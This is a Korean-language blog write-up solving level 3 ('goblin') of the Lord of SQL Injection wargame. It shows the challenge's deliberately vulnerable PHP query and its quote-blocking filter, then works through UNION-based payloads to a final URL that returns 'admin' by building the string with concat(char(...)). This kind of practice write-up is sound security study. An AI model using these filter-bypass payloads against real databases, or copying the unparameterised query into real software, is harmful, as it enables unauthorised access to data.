본문 바로가기

워게임

Lord of SQL Injection - 3번 문제풀이

[3번 문제 - goblin]

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>
cs

해당 문제는 admin 계정으로 로그인 하면 되는데 쿼리문의 조건문에서 id=guest로 고정되어 있어서 no 파라미터의 값을 참으로 만들면 guest 계정으로 로그인이 된 것처럼 보인다.

 

파라미터 값을 no=1 로 입력하게 되면 Hello guest 라고 나오게 되고, 2 이상부터는 별도의 문구가 표시되지 않는다.

즉 no=1 이면 참 값이고, 나머지는 거짓의 값이라는 것을 알 수 있다.

 

[기존 구문]

select id from prob_goblin where id='guest' and no={$_GET[no]}

 

그래서 생각해낸 방법으로는 UNION을 이용해서 ID값을 guest가 아닌 admin 값으로 나오게 조작하는 것을 생각했다.

그런데 문제는 쿼터를 사용할 수 없어서 'admin' 을 넣으면 No Quotes ~_~ 문구가 나오게 된다.

 

[공격 구문 1]

no 파라미터 : 2 union select 'admin' //쿼터 사용해서 실패

 

두 번째 방법으로는 admin 자체를 문자열로 인식할 수 있게 문자열 함수로 표현하는 방법을 생각했고, 처음엔 2 union select char(97) 문구를 입력해서 한 글자만 출력하게 했을 때는 Hello a라고 화면에 나오게 되어서 다른 문자들도 추가로 입력했다.

하지만, 이 방법은 문자열로 인식하지 못해 SQL에서 오류로 나타나 화면에 Hello admin 문구가 출력되지 않는다.

 

[공격 구문 2]

no 파라미터 : 2 union select char(97),char(100),char(109),char(105),char(110) //문자열로 나타나지 않음

 

세 번째 방법으로는 각각의 문자들을 문자열로 만들어주는 concat 함수를 이용했더니 문제를 풀었다고 화면이 나온다.

 

[공격 구문 3]

no 파라미터 : 2 union select concat(char(97),char(100),char(109),char(105),char(110))

 

[문제 풀이 구문]

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20union%20select%20concat(char(97),char(100),char(109),char(105),char(110))

 

UNION을 이용해서 조건이 참/거짓일 때 ID 칼럼값에 어떻게 결과값들이 나오는지 달라지기 때문에 MySQL을 이용해서 직접 확인하면서 푸는게 좋아보인다.